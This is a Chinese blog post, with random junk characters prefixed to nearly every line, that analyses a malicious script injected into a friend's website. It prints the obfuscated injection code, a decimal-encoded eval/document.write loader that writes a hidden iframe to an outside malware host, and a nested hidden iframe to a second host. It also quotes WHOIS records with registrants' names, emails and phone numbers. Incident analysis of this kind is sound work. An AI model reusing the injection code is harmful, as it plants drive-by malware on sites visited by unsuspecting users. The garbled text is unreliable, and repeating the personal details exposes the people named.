首发在我的博客里面，
p =-~qBw 5<P6PHdY http://www.areway.cn/?p=175 )jh~jU? c@ e\!Aoky :#D~j]pP 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
bCiyz+VyJn * ;U<b <script>t=’60,105,102,114,97,109,101,
4[)tO-v:Y 32,115,114,99,61,104,116,116,112,58,47,47,
69`*u<{PC 102,114,101,101,46,117,45,117,117,117,46,99,
)"7z'ar
110,47,101,114,114,111,114,46,104,116,109,
d\2 5 32,119,105,100,116,104,61,49,48,48,32,104,
l(\F2_,2W 101,105,103,104,116,61,48,62,60,47,105,102,
?-tNRIPW@p 114,97,109,101,62′;
_hMFmI=r[ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
+=sw&DH
[X*u`J <script>t=’60,105,102,114,97,109,101,32,115,
7m}fVL k 114,99,61,104,116,116,112,58,47,47,102,114,
} 'K-1 : 101,101,46,117,45,117,117,117,46,99,110,47,
,sT5TS
q 101,114,114,111,114,46,104,116,109,32,119,
Y~?Z'uR 105,100,116,104,61,49,48,48,32,104,101,105,
Z;njSw%: 103,104,116,61,48,62,60,47,105,102,114,97,
*,~L_)vWO 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
<(H<*Xf9 document.write(t);</script>
<j3|Mh_(I eHR]qy 0_X <html xmlns=”
A4rkwM http://www.w3.org/1999/xhtml u'T-}95 V “>
gdq6jz <head>
}_('3C,Ba <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
M+b?qw <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
7
D{% <title>首页 - 爱生活家庭网
B:Awy/XMi ^'fgQyj 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
A 6 `a 转换字符串后的大概内容是（谁点击后果自付）：
Y?L>KiM$ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
{|B[[W\TN O 0 $V+fE 查询玉米u-uuu.cn的详细信息：
T\bpe ky~ Domain Name: u-uuu.cn
2'-84 ROID: 20070901s10001s64972306-cn
|sEuhP\A3 Domain Status: ok
F!p; ]B Registrant Organization: 王雷
cDK)zD Registrant Name: 王雷
Vhr 6bu] Administrative Email:
czlovexs@126.com UcH#J &r Sponsoring Registrar: 北京万网志成科技有限公司
[ako8 Name Server:ns.yovole.com
wvxsn!Ao&= Name Server:ns1.yovole.com
;>S|?M4GZ Registration Date: 2007-09-01 17:54
Q7i(M >|O Expiration Date: 2008-09-01 17:54
?7J ::}R 最后PING了一下地址 都没有什么….
ap2g^lQXq s+z 5"3'n 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
\jmZ t* c <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
eN\+ <script language=”javascript” src=”
NEvN j http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script MSRk|0Mcr >
i0zrXaKV 这个玉米应该有可能是木马作者的：
tU *`X(; foafau.info的详细信息：
b=U3&CV9 Access to INFO WHOIS information is provided to assist persons in
p#_ 5 w determining the contents of a domain name registration record in the
*2rc Y
Afilias registry database. The data in this record is provided by
tG zp= PyA Afilias Limited for informational purposes only, and Afilias does not
ayQ eT guarantee its accuracy. This service is intended only for query-based
drk BW}_ access. You agree that you will use this data only for lawful purposes
Od:-fw and that, under no circumstances will you use this data to: (a) allow,
^P*-bV4 enable, or otherwise support the transmission by e-mail, telephone, or
~>P(nI facsimile of mass unsolicited, commercial advertising or solicitations
6As%<g= to entities other than the data recipient’s own existing customers; or
D wr 9}Z-] (b) enable high volume, automated, electronic processes that send
Bf 6i{`!G queries or data to the systems of Registry Operator, a Registrar, or
E+LQyvF[ Afilias except as reasonably necessary to register domain names or
cOZBl;} modify existing registrations. All rights reserved. Afilias reserves
ael] {'h] the right to modify these terms at any time. By submitting this query,
ZKq#PB/. you agree to abide by this policy.
UEhFId Domain ID:D22418703-LRMS
M{)&SNI*C Domain Name:FOAFAU.INFO
j%Xa8$ Created On:20-Nov-2007 16:05:42 UTC
"a3?m) Last Updated On:20-Nov-2007 16:05:44 UTC
H8=:LF Expiration Date:20-Nov-2008 16:05:42 UTC
R/kJUl6HEl Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
/l h1sHgD Status:CLIENT DELETE PROHIBITED
WtaOf_ Status:CLIENT RENEW PROHIBITED
`j!_tE` Status:CLIENT TRANSFER PROHIBITED
y7%SHYC p[ Status:CLIENT UPDATE PROHIBITED
gVI`&W__, Status:TRANSFER PROHIBITED
i5&,Bpfo- Registrant ID:GODA-040110615
uG +ZR:
_ Registrant Name:liu hong
M&<qGV$A Registrant Organization:
Px9 K Registrant Street1:beijing
D$*o}*mb Registrant Street2:
%g{)K)$,ui Registrant Street3:
Pai8r%Zfu Registrant City:beijing
y n_. Registrant State/Province:
j>uu3ADd2 Registrant Postal Code:100000
O:GAS [O` Registrant Country:CN
>/l B%<$/ Registrant Phone:+86.860108888777
*'-t_F'; Registrant Phone Ext.:
> ,h{` Registrant FAX:
#TO^x&3@ Registrant FAX Ext.:
.N@+M s3 Registrant Email:bbbshiji@163.com
/y 6f ~F Admin ID:GODA-240110615
cza_LO( Admin Name:liu hong
2eA.04F Admin Organization:
3D1y^I Admin Street1:beijing
D.|r
[c Admin Street2:
A*A/30o|R Admin Street3:
3vjOfr` Admin City:beijing
xU Cq%r_ Admin State/Province:
DdU w~n, Admin Postal Code:100000
:Fu 7T1 Admin Country:CN
{$i>\) Admin Phone:+86.860108888777
[t$ r)vX Admin Phone Ext.:
aM(# J7; Admin FAX:
P =6d<no&< Admin FAX Ext.:
G_ ,9h!e Admin Email:bbbshiji@163.com
6-0sBB9=u Billing ID:GODA-340110615
I,`;#Q)nx Billing Name:liu hong
HtiIg a 7 Billing Organization:
eU,F YJt9 Billing Street1:beijing
K"&^/[vMB Billing Street2:
c:&8B/ Billing Street3:
\ 7>*ULP Billing City:beijing
S' kgpF"bm Billing State/Province:
O`"~AY& Billing Postal Code:100000
+!E9$U>6% Billing Country:CN
Zq<j}vVJ Billing Phone:+86.860108888777
RA[%8Rh) Billing Phone Ext.:
|WEl5 bNc3 Billing FAX:
X!mJUDzh] Billing FAX Ext.:
u[Si=)`VPk Billing Email:bbbshiji@163.com
`JpFqZ'58 Tech ID:GODA-140110615
6vR6=@(`> Tech Name:liu hong
}qhYHC Tech Organization:
}! R*Q`m Tech Street1:beijing
-2 >s#/% Tech Street2:
o 9/,@Ri\5 Tech Street3:
c5b }q@nH Tech City:beijing
,\c V,$ Tech State/Province:
i$Kx@,O8t Tech Postal Code:100000
/ o
I 4&W Tech Country:CN
/3K)$Er Tech Phone:+86.860108888777
19c_=$mV Tech Phone Ext.:
&qWB\m Tech FAX:
-gS9I^ Tech FAX Ext.:
*hJWuMfY, Tech Email:bbbshiji@163.com
#ojuSS3 Name Server:NS27.DOMAINCONTROL.COM
,aGIq. *v Name Server:NS28.DOMAINCONTROL.COM
m'"H1~BW Name Server:
l>`66~+s,` Name Server:
}^$1<GT Name Server:
Ry"4v_e 9 Name Server:
#+ V4<o Name Server:
cL ~WDW/ Name Server:
a$Y{ut0t( Name Server:
T *PEUq Name Server:
dcD#!v\0 Name Server:
& rD8ng+$ Name Server:
D4|Ajeo;1 Name Server:
/4 OmnE ; "~._G5i. 接着下载每个文件里面的代码：
{i?G:K 一步一步看..
ge.> #1f} 
KK2YT/K$SG 
!4=_l6kg~+ 
^v'0\(H?P 
1'Q6l 
Rvx 7}ZL! 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
